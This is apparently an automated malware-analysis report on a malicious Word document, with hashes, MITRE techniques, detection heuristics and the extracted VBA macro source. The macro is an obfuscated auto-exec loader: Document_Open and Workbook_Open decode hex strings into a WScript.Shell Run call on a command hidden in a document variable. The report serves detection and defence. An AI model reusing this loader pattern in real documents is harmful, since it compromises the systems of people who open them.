Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 632a849236cb6285…

MALICIOUS

Office (OLE)

35.5 KB Created: 2018-06-24 11:22:00 Authoring application: Microsoft Office Word First seen: 2019-05-10
MD5: b3b4a99659e2cfe83df68edc8df63feb SHA-1: 32d97f4c0aae34fbf720a0692e8bb98f37791683 SHA-256: 632a849236cb6285f29050eec1e3fbf842d94c998671a65d3f051f60f263cd76
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample contains heavily obfuscated VBA macros designed to execute automatically upon opening the document. These macros utilize `CreateObject` and `CallByName` to invoke shell commands, likely to download and execute a secondary payload. The presence of `Document_Open` and `Workbook_Open` auto-exec macros, combined with obfuscation and the ClamAV detection name 'Xls.Malware.Valyria-6700360-0', strongly indicates a malicious intent to compromise the user's system.

Heuristics 9

  • ClamAV: Xls.Malware.Valyria-6700360-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-6700360-0
  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • CallByName call high OLE_VBA_CALLBYNAME
    CallByName call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 2405 bytes
SHA-256: a5d7dd0fa25e60c62c356244532f9ee5de90e7bb5b25196cf7946cede894ca1d
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Private Function UUM() As String
D aUUM As String
aUUM = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim myUUM = aUUM
DimDimMsgBox ((aUUM & myUUM, 28))
End Function

Public Sub DC_()
    Dim PR_ As Object: Set PR_ = CreateObject(S_("6F6B7B8A81888C466B807D8484"))
    CallByName PR_, S_("6A8D86"), VbMethod, S_(ActiveDocument.Variables("YYZWDVM").Value), 0, True
End Sub
Private Function BJG() As String
D aBJG As String
aBJG = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim myBJG = aBJG
DimDimMsgBox ((aBJG & myBJG, 28))
End Function

Sub CRIFXFQ_()
    DC_
End Sub
Private Function LWN() As String
D aLWN As String
aLWN = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim myLWN = aLWN
DimDimMsgBox ((aLWN & myLWN, 28))
End Function

Public Sub Document_Open()
    Application.Run S_("5B6A615E705E6977")
End Sub
Private Function SSX() As String
D aSSX As String
aSSX = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim mySSX = aSSX
DimDimMsgBox ((aSSX & mySSX, 28))
End Function

Sub Workbook_Open()
    CRIFXFQ_
End Sub
Private Function NMC() As String
D aNMC As String
aNMC = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim myNMC = aNMC
DimDimMsgBox ((aNMC & myNMC, 28))
End Function

Public Function S_(ByVal PR_ As String)
   Dim YVZ_ As String
   Dim GX_ As Long
   For GX_ = 1 To Len(PR_) Step 2
        Dim XPG_ As Long: XPG_ = CLng(Chr(38) & Chr(72) & Mid(PR_, GX_, 2))
        YVZ_ = YVZ_ & Chr(XPG_ - 24)
   Next
   S_ = YVZ_
End Function
Private Function PKP() As String
D aPKP As String
aPKP = "8EBA8A9F9E728EA9B29E8E91678EB28E8E988EBE80BB8EA18E8E8E8E598EBE8EA08E868E8E8E8EAC7C8E83A89B8E8E8D8EB18589C68EC48E"
Dim myPKP = aPKP
DimDimMsgBox ((aPKP & myPKP, 28))
End Function

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